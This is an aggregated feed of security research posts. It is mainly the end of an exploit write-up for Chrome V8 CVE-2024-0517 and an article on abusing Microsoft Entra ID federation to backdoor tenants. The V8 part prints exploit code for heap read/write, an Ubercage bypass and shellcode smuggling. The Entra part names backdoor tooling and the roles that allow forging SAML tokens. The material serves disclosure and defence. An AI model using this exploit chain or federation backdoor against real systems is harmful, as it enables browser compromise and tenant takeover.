• Send the allocated objects to the Old Space by triggering GC a few times.
• Trigger the vulnerability
• Use the initial primitives to corrupt the objects in the old space.
• Fix the objects corrupted by the exploit in the Young Space heap
• Obtain read/write/addrof using the objects in the Old Space heap

The exploit can allocate the following objects before the vulnerability is triggered.

				
					let changer = [1.1,2.2,3.3,4.4,5.5,6.6]
let leaker  = [1.1,2.2,3.3,4.4,5.5,6.6]
let holder  = {p1:0x1234, p2: 0x1234, p3:0x1234};
				
			

The changer and leaker are array’s that contain packed double elements. The holder is an object with three in-object properties. When the exploit triggers the GC with the dogc function in the process of warming up the dogc function as well as for cleaning the heap, these objects will be transferred to the Old Space heap.

Once the vulnerability is triggered, the exploit uses the initial addrof to find the address of the changer/leaker/holder objects. It then overwrites the elements pointer of the changer object to point to the address of the leaker object and also overwrites the elements pointer of leaker object to point to the address of the holder object. This corruption is done using the heap write primitive achieved in the previous section. The following code shows this.

				
					  changer_addr = addrof_tmp(changer);
  leaker_addr  = addrof_tmp(leaker);
  holder_addr  = addrof_tmp(holder);

  u32[0] = holder_addr;
  u32[1] = 0xc;
  original_leaker_bytes = f64[0];

  u32[0] = leaker_addr;
  u32[1] = 0xc;
  v8h_write64(changer_addr+0x8, f64[0]);
  v8h_write64(leaker_addr+0x8, original_leaker_bytes);
				
			

Once this corruption is done, the exploit fixes the corruption it did to the objects in Young Space, effectively losing the original primitives.

				
					  corrupted_instance.x.length = 0;
  corrupted_instance.a.length = 0;
  rwarr.length = 0;
				
			

Setting the length of an array to zero, resets its elements pointer to the default value and also fixes any changes made to the length of the array. This makes sure that the GC will never see any invalid pointers or lengths while scanning these objects. As a further precaution, the entire vulnerability trigger is run in a different function, and as soon as the objects on the Young Space heap are fixed, the function terminates. This makes the engine lose all references to any corrupted objects that were defined in the vulnerability trigger function and hence the GC will never see or scan them. At this point a GC will no longer have any effect on the exploit because all the corrupted objects in the Young Space have been fixed or have no references. While there are corrupted objects in the Old Space, the corruption is done such that when the GC scans those objects it will only see pointers to valid objects and hence never crash. Since those objects are in the old space, they will not be moved.

Final heap Read/Write Primitive

Once the vulnerability trigger is completed and the corruption of objects in the old space using the initial primitives is finished, the exploit crafts new read/write primitives using the corrupted objects on the old space. For an arbitrary read, the exploit uses the changer object, whose elements pointer now points to the leaker object, to overwrite the elements pointer of the leaker object to the target address to read from. Reading a value back from the changer array now yields a value from the target address as a 64bit floating point hence achieving arbitrary read in the V8 heap. Once the value is read, the exploit again uses the changer object to reset the elements pointer of the leaker object and get it to point back to the address of the holderobject which was seen in the last section. We can implement this in JS as follows.

				
					  function v8h_read64(addr) {
    original_leaker_bytes = changer[0];
    u32[0] = Number(addr)-8;
    u32[1] = 0xc;
    changer[0] = f64[0];

    let ret = leaker[0];
    changer[0] = original_leaker_bytes;
    return f2i(ret);
  }
				
			

The v8h_read64 function accepts the target address to read from as an argument. The address can be represented as either an integer or a BigInt. It returns the 64bit value that is present at the address as a BigInt.

For achieving the arbitrary heap write, the exploit does the same thing as what was done for the read, with the only difference being that instead of reading a value from the leaker object, it writes the target value. This is shown below.

				
					  function v8h_write(addr, value) {
    original_leaker_bytes = changer[0];
    u32[0] = Number(addr)-8;
    u32[1] = 0xc;
    changer[0] = f64[0];

    f64[0] = leaker[0];
    u32[0] = Number(value);
    leaker[0] = f64[0];
    changer[0] = original_leaker_bytes;
  }
				
			

The v8h_write64 accepts the target address and the target value to write as arguments. Both of those values should be BigInts. It then writes the value to the memory region pointed to by address.

Final addrof Primitive

After the corruption of the objects in the Old Space, the elements of the leaker array point to the address of the holder array as seen in the Achieving GC Resistance Section. This means that reading from the element index 1 with the leaker array will result in leaking the contents of the in-object properties of the holder array as raw float values. Therefore to achieve an addrof primitive, the exploit writes the object whose address is to be leaked to one of its in-object properties and then leaks the address as a float with the leaker array. We can implement this in JS as follows.

				
					  function addrof(obj) {
    holder.p2 = obj;
    let ret = leaker[1];
    holder.p2 = 0;
    return f2i(ret) ＆ 0xffffffffn;
  }
				
			

The addrof function accepts an object as an argument and returns its address as a 32 bit integer.

Bypassing Ubercage on Intel (x86-64)

In V8 the region that are used to store the code for the JIT’ed functions as well as the regions that used to hold the WebAssembly code have the READ-WRITE-EXECUTE (RWX) permissions. It was observed that when a WebAssembly Instance is created, the underlying object in C++ contains a full 64 bit raw pointer that is used to store the starting address of the jump table. This is a pointer into the RWX region and is called when the instance is trying to locate the actual address of an exported WebAssembly function. Since this pointer lies in the V8 heap as a raw 64 bit pointer, it can be modified by the exploit to point to anywhere in the memory. The next time the instance tries to located the address of an export it will use this a function pointer and call it, thereby giving the exploit control of the Instruction Pointer. In this manner Ubercage can be bypassed.

The exploit code to overwrite the RWX pointer in the WebAssembly instance is shown below

				
					[1]

  var wasmCode = new Uint8Array([ 
        [ TRUNCATED ]
  ]);
  var wasmModule = new WebAssembly.Module(wasmCode);
  var wasmInstance = new WebAssembly.Instance(wasmModule);

[2]

  let addr_wasminstance = addrof(wasmInstance);
  log(DEBUG, "addrof(wasmInstance) =＞ " + hex(addr_wasminstance));

[3]

  let wasm_rwx = v8h_read64(addr_wasminstance+wasmoffset);
  log(DEBUG, "addrof(wasm_rwx) =＞ " + hex(wasm_rwx));

[4]

  var f = wasmInstance.exports.main;
 
[5]

  v8h_write64(addr_wasminstance+wasmoffset, 0x41414141n);
  
[6]
  f();
				
			

At [1], the wasm instance is constructed from pre-built wasm binary. At [2] the address of the instance is found using the addrof primitive. The original RWX pointer is saved in the wasm_rwx variable at [3]. The wasmoffset is a version dependent offset. At [4] a reference to the exported wasm function is fetched into JavaScript. [5] will overwrite the RWX pointer in the wasm instance to make it point to 0x41414141. Finally at [6], the exported function is called which will make the instance jump to the jump_table_start which can be overwritten by us to point to 0x41414141, thereby giving the exploit full control over the instruction pointer RIP.

Shellcode Smuggling

The previous section discussed how the Ubercage can be bypassed by overwriting a 64 bit pointer in the WebAssembly Instance object and gaining Instruction Pointer control. This section discusses how to use this to execute a small shellcode, only applicable to Intel x86-64 architecture, as it is not possible to jump into the middle of instructions on ARM based architectures.

Consider the following WebAssembly code.

				
					f64.const 0x90909090_90909090
f64.const 0xcccccccc_cccccccc
				
			

The above code is just creating 2 64bit Floating Point values. When this code is compiled by the engine into assembly, the following assembly is emitted.

				
					0x00:      movabs r10,0x9090909090909090
0x0a:      vmovq  xmm0,r10
0x0f:      movabs r10,0xcccccccccccccccc
0x19:      vmovq  xmm1,r10
				
			

On Intel processors, instructions do not have fixed lengths. Hence there is no required alignment that is expected of the Instruction Pointer, which is the RIP register on 64bit Intel machines. Therefore when observed from the address 0x02 in the above snippet by skipping the first 2 bytes of the movabs instruction, the assembly code will look as follows:

				
					0x02: nop
0x03: nop
0x04: nop
0x05: nop
0x06: nop
0x07: nop
0x08: nop
0x09: nop
0x0a:      vmovq  xmm0,r10
0x0f:      movabs r10,0xcccccccccccccccc
0x19:      vmovq  xmm1,r10

[TRUNCATED]
				
			

Hence the constants declared in the WebAssembly code can potentially be interpreted as assembly code by jumping in the middle of an instruction, which is valid on machines that run Intel architecture. Hence with the RIP control described in the previous section, it is possible to redirect the RIP into the middle of some compiled wasm code which has controlled float constants and interpret them as x86-64 instructions.

Achieving Full Arbitrary Write

It was observed that on Google Chrome and Microsoft Edge on x86-64 Windows and Linux systems, the first argument to the wasm function was stored in the RAX register, the second in RDX and the third argument in RCX register. Therefore the following snippet of assembly provides a 64-bit arbitrary write primitive.

				
					0x00:   48 89 10                mov    QWORD PTR [rax],rdx
0x03:   c3                      ret
				
			

In hex, this would look like 0xc3108948_90909090 where it’s padded with nop‘s to make the size 8 bytes. It is important to keep in mind that, as explained in the Bypassing Ubercage Section, the function pointer that the exploit overwrites will be called only once during the initialization of a wasm function. Hence the exploit overwrites the pointer to point to the arbitrary write. When this is called, the exploit uses this 64bit arbitrary write to overwrite the start of the wasm function code, which is in the RWX region, with these same instructions. This renders the exploit with a persistent 64 bit arbitrary write that can be called multiple times by just calling the wasm function with the desired arguments.

The following code in the exploit calls the “smuggled” shellcode to get it to overwrite the starting bytes of the wasm function with the same instructions to get the wasm function to do an arbitrary write.

				
					    let initial_rwx_write_at = wasm_rwx + wasm_function_offset;
    f(initial_rwx_write_at, 0xc310894890909090n);
				
			

The wasm_function_offset is a version dependent offset and denotes the offset from the start of the wasm RWX region to the start of the exported wasm function. After this point, the f function is a full arbitrary write which accepts the first argument as the target address and the second argument as the value to write.

Running Shellcode

Once a full 64 bit persistent write primitive is achieved, the exploit proceeds to use it to copy over a small staging memory copy shellcode into the RWX region. This is done because the size of the final shellcode might be large and hence increases the chances of triggering JIT and GC if it is directly written to the RWX region using the arbitrary write. Therefore the larger copy into the RWX region is performed by the following shellcode:

				
					   0:   4c 01 f2                add    rdx,r14
   3:   50                      push   rax
   4:   48 8b 1a                mov    rbx,QWORD PTR [rdx]
   7:   89 18                   mov    DWORD PTR [rax],ebx
   9:   48 83 c2 08             add    rdx,0x8
   d:   48 83 c0 04             add    rax,0x4
  11:   66 83 e9 04             sub    cx,0x4
  15:   66 83 f9 00             cmp    cx,0x0
  19:   75 e9                   jne    0x4
  1b:   58                      pop    rax
  1c:   ff d0                   call   rax
  1e:   c3                      ret
				
			

This shellcode copies over 4 bytes at a time from a backing buffer of a double array containing the shellcode in the V8 heap and writes it to the target RWX region. The first argument which is in RAX register is the target address. The second argument in the RDX register is the source address and the third one in the RCX register is the size of the final shellcode to be copied. The following parts from the exploit highlight the copying of this 4 bytes memory copying payload into the RWX region using the arbitrary write achieved in the previous function.

				
					[1]

  let start_our_rwx = wasm_rwx+0x500n;
  f(start_our_rwx, snd_sc_b64[0]);
  f(start_our_rwx+8n, snd_sc_b64[1]);
  f(start_our_rwx+16n, snd_sc_b64[2]);
  f(start_our_rwx+24n, snd_sc_b64[3]);

[2]

  let addr_wasminstance_rce = addrof(wasmInstanceRCE);
  log(DEBUG, "addrof(wasmInstanceRCE) =＞ " + hex(addr_wasminstance_rce));
  let rce = wasmInstanceRCE.exports.main;
  v8h_write64(addr_wasminstance_rce+wasmoffset, start_out_rwx);

[3] 

  let addr_of_sc_aux = addrof(shellcode);
  let addr_of_sc_ele = v8h_read(addr_of_sc_aux+8n)+8n-1n;
  rce(wasm_rwx, addr_of_sc_ele, 0x300);
				
			

At [1], the exploit uses the arbitrary write to copy over the memcpy payload which is stored in the snd_sc_b64 array, into the RWX region. The target region is basically a region that is 0x500 bytes into the start of the wasm region (this offset was arbitrarily chosen, the only pre-requisite is not to overwrite the exploit’s own shellcode). As mentioned before the Web Assembly Instance only calls the jump_table_startpointer which the exploit overwrites, once and that is when it tries to locate the addresses of the exported wasm functions. Hence the exploit uses a second Wasm instance and at [2], overwrites its jump_table_start pointer to that of the region where the memcpy shellcode has been copied over. Finally at [3], the elements pointer of the array which holds the shellcode is calculated and the 4 bytes memory copying payload is called with the necessary arguments – the first one where to copy the final shellcode, the second one is the source pointer and the last part is the size of the shellcode. When the wasm function is called, the shellcode runs and after performing the copy of the final shellcode, it will redirect execution via call rax to the target address effectively running the user provided shellcode.

Below is a video showing the exploit in action on Chrome 120.0.6099.71 on Linux.

Conclusion

In this post we discussed a vulnerability in V8 which arose due to how V8’s Maglev compiler tried to optimize the number of allocations that it makes. We were able to exploit this bug by leveraging V8’s garbage collector to gain read/write in the V8 heap. We then use a Wasm instance object in V8, which still has a raw 64-bit pointer to the Wasm RWX memory to bypass Ubercage and gain code execution inside the Chrome sandbox.

This vulnerability was patched in the Chrome update on 16 January 2024 and assigned CVE-2024-0517. The following commit patches the vulnerability: https://chromium-review.googlesource.com/c/v8/v8/+/5173470. Apart from fixing the vulnerability, an upstream V8 commit  was recently introduced to move the WASM instance into a new Trusted Space, thereby rendering this method of bypassing the Ubercage ineffective.

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution appeared first on Exodus Intelligence.

In November of last year, I took the OffSec EXP-401 Advanced Windows Exploitation class (AWE) at Black Hat MEA. While most of the blog posts out of there focus on providing an OSEE exam review, this blog post aims to be a day-by-day review of the AWE course content. OffSec Exp-401 (AWE) During the first […]

The post OffSec EXP-401 Advanced Windows Exploitation (AWE) – Course Review appeared first on VoidSec.

“No one cares about the old […]

The post A collection of weggli patterns for C/C++ vulnerability research appeared first on hn security.

Introduction

Microsoft Entra ID (formerly known as Azure AD) allows delegation of authentication to another identity provider through the legitimate federation feature. However, attackers with elevated privileges can abuse this feature, leading to persistence and privilege escalation 💥.

But what are exactly these “elevated privileges” that are required to do so? 🤔 In this article, we are going to see that the famous “Global Administrator” role is not the only one allowing it! 😉 Follow along (or skip to the conclusion!) to learn which of your Entra administrators have this power, since these are the ones that you must protect first.

This was discovered by Tenable Research while working on identity security.

Federation?

By default, users submit their credentials to Entra ID (usually on the login.microsoftonline.com domain) which is in charge of validating them, either on its own if it’s a cloud-only account, or helped by the on-premises Active Directory (using hashes of AD password hashes already synchronized from AD via password hash sync, or by sending the password to AD for verification via pass-through authentication).

But there is another option: a Microsoft Entra tenant can use federation with a custom domain to establish trust with another domain for authentication and authorization. Organizations mainly use federation to delegate authentication for Active Directory users to their on-premises Active Directory Federation Services (AD FS). This is similar to the concept of “trust” in Active Directory. ⚠️ However, do not confuse the “custom domain” with an Active Directory “domain”!

When a user types their email on the login page, Entra ID detects when the domain is federated and then redirects the user to the URL of the corresponding Identity Provider (IdP), which obtains and verifies the user’s credentials, before redirecting the user to Entra ID with their proof (or failure) of authentication in the form of a signed SAML or WS-Federation (“WS-Fed” for short) token.

🏴‍☠️ However, if malicious actors gain elevated privileges in Microsoft Entra ID, they can abuse this federation mechanism to create a backdoor by creating a federated domain, or modifying an existing one, allowing them to impersonate anyone, even bypassing MFA.

The potential for abuse of this legitimate feature was initially discovered by Dr. Nestori Syynimaa: “Security vulnerability in Azure AD & Office 365 identity federation”, where he described how it concerns even cloud-only users, and even allows bypassing MFA, and further described it in “How to create a backdoor to Azure AD — part 1: Identity federation”. If you are curious, he also shared a “Deep-dive to Azure Active Directory Identity Federation”. He also hosts an OSINT tool allowing to list the domains, including if they are federated (to which IdP), of any tenant without even having to be authenticated to it!

This technique is currently used by threat actors, such as reported by Microsoft Incident Response on October 2023 in “Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction”:

Octo Tempest targets federated identity providers using tools like AADInternals to federate existing domains, or spoof legitimate domains by adding and then federating new domains. The threat actor then abuses this federation to generate forged valid security assertion markup language (SAML) tokens for any user of the target tenant with claims that have MFA satisfied, a technique known as Golden SAML

I also wrote an article describing how attackers can exploit the federated authentication’s secondary token-signing certificate for stealthier persistence and privilege escalation.

The corresponding MITRE ATT&CK techniques are:

• T1484.002 “Domain Policy Modification: Domain Trust Modification” for the initial operation where the attacker adds a secondary token-signing certificate
• T1606.002 “Forge Web Credentials: SAML Tokens” for the subsequent operation where the attacker forges a SAML token with the private key of the previously injected secondary token-signing certificate, before presenting the token to Entra ID as a fake proof of identity

🛡️ You will find recommendations to defend against this at the end of this article.

This federation feature for internal users (aka “members”) must not be confused with another federation feature in Entra ID, meant for guests (aka “external identities”) which allows “Federation with SAML/WS-Fed identity providers for guest users” using configurable “Identity Providers for External Identities”. This research and article are focused on the former: internal federation.

APIs available to interact with Entra ID

Performing this attack requires interacting with Entra ID of course, which is done through APIs. There are several available, offering more or less the same features, as described by Dr. Nestori Syynimaa in his talk “AADInternals: How did I built the ultimate Azure AD hacking tool from the scratch”. However, we will see that sometimes, an action that is forbidden for a certain role by one API is allowed by another! 😨 The behavior of some actions is also different between the APIs, while some actions are only possible with older APIs.

I prefer mentioning the APIs instead of the admin (i.e. PowerShell) or hack tools that I used, since it is what actually matters whether the tool calling them.

🟥 Provisioning API / MSOnline (MSOL)

The MSOnline V1 PowerShell module is going to be ⚠️ deprecated soon in March 2024 but it is still working, so it remains available to attackers too. You can recognize its usage because all the cmdlets contain “Msol”, for example “Get-MsolUser”.

It relies on an API unofficially called the “provisioning API” available at the “https://provisioningapi.microsoftonline.com/provisioningwebservice.svc” address. This API is not publicly documented and it uses the SOAP protocol.

It was replaced by the Azure AD Graph API (see below).

🟦 Azure AD Graph API

Likewise, the AzureAD PowerShell module is going to be ⚠️ deprecated soon in March 2024 but it is still working, so it remains available to attackers too. You can recognize its usage because all the cmdlets contain “AzureAD”, for example “Get-AzureADUser”.

It relies on an API called the Azure AD Graph API available on https://graph.windows.net/. This API is publicly documented and it exposes REST endpoints.

It was replaced by the Microsoft Graph API (see below), with which it must not be confused.

🟩 Microsoft Graph API / Microsoft Graph PowerShell SDK

Microsoft Graph is the newest API offered, and currently recommended, by Microsoft to interact with Entra ID and other Microsoft cloud services (e.g. Microsoft 365). The API is available on https://graph.microsoft.com. It is publicly documented and it exposes REST endpoints.

There are also several SDKs offered to interact with it, including the Microsoft Graph PowerShell SDK. You can recognize its usage because all the cmdlets contain “Mg”, for example “Get-MgUser”.

Entra roles and permissions

Entra ID follows the RBAC model to declare who can do what. Principals (user, group, service principal) are assigned Roles on some Scope (entire tenant, or specific Administrative Unit, or even a single object). Each Entra Role is defined by the Entra Permissions (also called “actions” in Microsoft documentation) it gives.

⚠️ Do not confuse Entra RBAC, using Entra roles and meant to control access to Entra ID resources (users, groups, devices, IdP configuration, etc.), with Azure RBAC, using Azure roles and meant to control access to Azure cloud resources (virtual machines, databases, network, storage accounts, websites, etc.). Take the time to read this article if you have doubts: “Azure roles, Microsoft Entra roles, and classic subscription administrator roles”.

⚠️ Do not confuse Entra permissions (like “microsoft.directory/domains/allProperties/allTasks”) with the Entra API permissions (like the famous “Directory.ReadWrite.All” permission of MS Graph API).

There are around 100 Entra built-in roles (as of December 2023), the most famous and powerful being Global Administrator. Customers can create their own Entra custom roles containing exactly the permissions they want (but only some are supported).

My goal in this article is to identify exactly which Entra roles, and hopefully exact Entra permission(s), allow attackers to abuse the federation feature for malicious purposes.

After a quick review of the Entra roles recommended by the documentation to configure this feature, and the list of all available Entra permissions (in particular those under “microsoft.directory/domains/”), I have selected for my tests these roles listed with their relevant permissions. The “[💥privileged]” tag below marks privileged roles according to Microsoft (as of November 2023), thanks to the recent feature “Privileged roles and permissions in Microsoft Entra ID”. Notably, none of these permissions is considered privileged.

Global Administrator [💥privileged]

• microsoft.directory/domains/allProperties/allTasks
• microsoft.directory/domains/federationConfiguration/basic/update
• microsoft.directory/domains/federationConfiguration/create

Security Administrator [💥privileged]

• microsoft.directory/domains/federation/update
• microsoft.directory/domains/federationConfiguration/basic/update
• microsoft.directory/domains/federationConfiguration/create

Hybrid Identity Administrator [💥privileged]: according to its description, this role is meant to manage federation for internal users (among other features), which is the feature I’m focusing on

• microsoft.directory/domains/federation/update
• microsoft.directory/domains/federationConfiguration/basic/update
• microsoft.directory/domains/federationConfiguration/create

External Identity Provider Administrator: according to its description, this role is meant to manage federation for external users, which is not what this is about, but we never know… so I have included it

• microsoft.directory/domains/federation/update

Domain Name Administrator

• microsoft.directory/domains/allProperties/allTasks

Partner Tier1 Support [💥privileged]: Microsoft has been saying for months that this role should not be used since it is deprecated, and its mentions have been recently removed from the documentation, but since it is still functioning (as of November 2023) and thus abusable by attackers, I have decided to include it

• <none>

Partner Tier2 Support [💥privileged]: Microsoft has been saying for months that this role should not be used since it is deprecated, and its mentions have been recently removed from the documentation, but since it is still functioning (as of November 2023) and thus abusable by attackers, I have decided to include it

• microsoft.directory/domains/allProperties/allTasks

Methodology

I used a single Entra tenant, with several Entra users: one user per role I wanted to test (with the role assigned of course).

I wrote several PowerShell scripts, which clean the environment if needed (to allow several consecutive runs), call the cmdlets corresponding to the API to test, and then check the result. That way I obtained reliable and reproducible test cases.

The scripts are publicly available on GitHub: https://github.com/tenable/entra-id-federation-abuse-research-required-roles

Steps of the killchain

Create and verify domain

Federation needs a custom domain name configured in Entra ID to work. You can list them in the Entra admin center (or Azure Portal):

Domains can either be:

• “Managed”, by default. No check in the “Federated” column in the screenshot above.
  Users submit their credentials to Entra ID.
• “Federated”, when federation is enabled on a domain. Check in the “Federated” column.
  Users are redirected to the federated IdP to which they submit their credentials and Entra ID trusts the token it emits.

Administrators can convert a domain between each of these modes.

Now, from an attacker’s perspective, if there is no custom domain available (apart from the default <tenant>.onmicrosoft.com), we have to create one and verify it to prove that we own it. These are two steps, using different API endpoints / PowerShell cmdlets.

Creating a new domain is at the same time more visible, due to the added domain, but also less visible since this new domain will only be used by the attacker and it will not disrupt the existing authentication process for normal users, as hinted by Mandiant:

Note: To not interrupt production and authentication with an existing federated domain (and to remain undetected), an attacker may opt to register a new domain with the tenant.

🟥 Provisioning API: using New-MsolDomain and Confirm-MsolDomain

Attempts were:

✅ allowed for:

• Global Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Access Denied. You do not have permissions to call this cmdlet”

• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier1 Support

🟦 Azure AD Graph API: using New-AzureADDomain and Confirm-AzureADDomain

API endpoints: create a domain and verify action

Attempts were:

✅ allowed for:

• Global Administrator
• Domain Name Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”

• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Partner Tier1 Support

I noticed that contrary to the provisioning API, the Domain Name Administrator role is allowed to create and verify a domain with the MS Graph API.

🟩 MS Graph API: using New-MgDomain and Confirm-MgDomain

API endpoints: create domain and verify domain

Attempts were:

✅ allowed for:

• Global Administrator
• Domain Name Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”

• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Partner Tier1 Support

So, exactly the same results as with Azure AD Graph just above.

Convert domain to federated mode / add federation configuration

The next step is to convert the target custom domain to Federated mode, either:

• the custom domain was already present, but configured in the default Managed mode. ⚠️ converting it to Federated mode will cause disruptions to users who normally use this domain for authentication!
• the attacker was able to create and verify a new domain as described just above

Converting the domain to federated requires providing federation configuration information. Indeed, federation requires some configuration on Entra ID-side, for instance the certificate used by the federated IdP to sign the token which is the authentication proof, and the IssuerUri that uniquely identifies a federation service allowing to identify to which domain the token is linked.

This technique was described by Mandiant:

• Detecting Microsoft 365 and Azure Active Directory Backdoors (2020):

This can be obtained by converting a managed domain to a federated domain

• Remediation and hardening strategies for Microsoft 365 to defend against UNC2452 (2021):

The threat actor must first compromise an account with permission to modify or create federated realm objects […] Mandiant observed connections to a Microsoft 365 tenant with MSOnline PowerShell followed by the configuration of a new, attacker-controlled domain as federated

And also by Dr. Nestori Syynimaa in “How to create a backdoor to Azure AD — part 1: Identity federation”.

🟥 Provisioning API: using Set-MsolDomainAuthentication or AADInternals’ ConvertTo-AADIntBackdoor

Attempts were:

✅ allowed for:

• Global Administrator
• Partner Tier2 Support

❌ denied for these, with this error message “Access Denied. You do not have permissions to call this cmdlet”

• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier1 Support

🟦 Azure AD Graph API: not supported

I did not find any Azure AD Graph API endpoint, nor AzureAD PowerShell cmdlet, for converting a domain to federated.

🟩 MS Graph API: using New-MgDomainFederationConfiguration

API endpoint: Create internalDomainFederation

Attempts were:

✅ allowed for:

• Global Administrator
• Security Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”

• Hybrid Identity Administrator
• Partner Tier1 Support

Once again, I noticed differences between the roles allowed by the provisioning API and the MS Graph API.

Thanks to this observation, I suggested an update in the official Entra ID doc page.

Add second federation configuration

While looking at the APIs, I noticed that it was possible to List internalDomainFederations, notice the plural, and that it returned a collection (array). So I had the idea of trying to add a second federation configuration to an existing domain!

Unfortunately, it failed with this error “Domain already has Federation Configuration set.” and indeed the doc could have given me a hint: “This API returns only one object in the collection […] collection of one internalDomainFederation object in the response body.”

Change existing federation configuration

Another way for attackers is to change the federation configuration of an existing federated domain to allow crafting tokens with the attacker’s own token-signing certificate. This is similar to a Golden SAML attack but instead of stealing the key, the attacker is inserting theirs, and instead of presenting the forged token to a service, they present it to the IdP.

This technique was described by Mandiant in Remediation and hardening strategies for Microsoft 365 to defend against UNC2452 (2021):

The threat actor must first compromise an account with permission to modify or create federated realm objects.

The main way is to modify the current token-signing certificate, stored in the “signingCertificate” attribute of the federation configuration, which has the disadvantage of temporarily breaking the authentication and thus making it noticeable.

A variant is also possible, where instead of changing the main token-signing certificate, the attacker adds a secondary token-signing certificate thanks to the “nextSigningCertificate” attribute. This variant was described by Mandiant in Remediation and hardening strategies for Microsoft 365 to defend against UNC2452 (2021):

A threat actor could also modify the federation settings for an existing domain by configuring a new, secondary, token-signing certificate. This would allow for an attack (similar to Golden SAML) where the threat actor controls a private key that can digitally sign SAML tokens and is trusted by Azure AD.

This secondary token-signing certificate was meant to prepare a rollover operation when the main one expires. However, both are accepted as token signers even when the first one has not expired yet. Microsoft Security (MSRC) has confirmed to me it was an intended behavior and working as expected. Therefore, I updated the public documentation:

nextSigningCertificate: Fallback token signing certificate that can also be used to sign tokens

This is also the reason why Microsoft recommends in their “Emergency rotation of the AD FS certificates” article to renew twice the token-signing certificate because:

You’re creating two certificates because Azure [Entra ID] holds on to information about the previous certificate. By creating a second one, you’re forcing Azure [Entra ID] to release information about the old certificate and replace it with information about the second one. If you don’t create the second certificate and update Azure [Entra ID] with it, it might be possible for the old token-signing certificate to authenticate users.

🟥 Provisioning API: using Set-MsolDomainFederationSettings

Attempts were:

✅ allowed for:

• Global Administrator
• Hybrid Identity Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”

• Domain Name Administrator
• External Identity Provider Administrator
• Security Administrator
• Partner Tier1 Support

I noticed a difference here, with Set-MsolDomainAuthentication shown above, in that the “Hybrid Identity Administrator” role is now allowed.

🟦 Azure AD Graph API: not supported

I did not find any Azure AD Graph API endpoint, nor AzureAD PowerShell cmdlet, for modifying federation configuration. In the AzureADPreview module, there is the “New-AzureADExternalDomainFederation” cmdlet but it deals with federation for external users, not for internal users (as described at the beginning) which is the one I needed.

🟩 MS Graph API: using Update-MgDomainFederationConfiguration

API endpoint: Update internalDomainFederation

Attempts were:

✅ allowed for:

• Global Administrator
• Security Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”

• Hybrid Identity Administrator
• Partner Tier1 Support

So, exactly the same results as for creating a federated domain with New-MgDomainFederationConfiguration shown above.

Remarks on inconsistency

🔍 I have no clue how Entra roles and permissions are implemented, nor used, by Entra ID but I noticed something strange. I feel like some operations are explicitly allowed to some roles instead of based on the exact permissions they contain. For example, while Security Administrator and Hybrid Identity Administrator contain exactly the same 3 permissions under “microsoft.directory/domains/*”, the former is allowed to Create internalDomainFederation with the Graph API (using New-MgDomainFederationConfiguration) whereas the latter is not.

Similarly, while Domain Name Administrator and Partner Tier2 Support both contain the “microsoft.directory/domains/allProperties/allTasks” permission, the former is forbidden to call Set-MsolDomainAuthentication while the latter is allowed.

🤔 I also noticed that some roles were forbidden to do some of the mentioned operations by the old 🟥 Provisioning API (MSOL) while the newer 🟦 Azure AD Graph and 🟩 MS Graph APIs allow it, and the contrary too.

Full chain

So, in summary, if you remember the goal of this article 😉, what are the roles actually required to perform this attack end-to-end?

If a verified custom domain is not already present, the attacker will need to be assigned either:

• Global Administrator
• Domain Name Administrator
• Partner Tier2 Support

However, if a verified custom domain is already present, the attacker will need to be assigned either:

• Global Administrator
• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier2 Support

😨 As you can see, Global Administrator is far from being the only role allowing to compromise Entra ID by abusing the federation feature! In my opinion, the most dangerous roles in these lists are “External Identity Provider Administrator” and “Domain Name Administrator” because they are not identified as 💥privileged by Microsoft, and thus, are subject to less scrutiny and security efforts.

I believe that it comes from the fact that none of the Entra permissions that seem related to domains and federation configuration are identified as privileged by Microsoft. I wish I could have identified the exact Entra permission(s) allowing this, by testing them one by one in an Entra custom role, but unfortunately only a subset of permissions is currently supported in custom roles and none are in this subset.

I contacted MSRC (VULN-113566) suggesting to mark these permissions, “microsoft.directory/domains/allProperties/allTasks” and “microsoft.directory/domains/federation/update”, as privileged but they will not be doing it as they consider their baseline is correct even though some customers may have different interpretations.

You can also notice that an already existing custom domain is useful to attackers since it allows them to skip the domain creation and verification steps, which is stealthier, and makes the attack possible with more roles. However, it causes temporary disruptions for users who normally authenticate via the abused domain, so it is also less stealthy.

Recommendations for defense

The goal of this article was not to make you discover how federation itself can be abused, since great researchers have already done this a year ago, but still, you may wonder how to defend against such an attack.

Microsoft has long recommended to migrate away from federated authentication to managed authentication, however as we saw, even if an organization is not using (anymore) federated authentication, an attacker could still re-enable it.

🤔 First of all, apply the principle of least privilege and be mindful of whom you assign the roles mentioned previously (that was the goal of this article, do you remember? 😅). I hope I have convinced you that Global Administrator is not the only sensitive role.

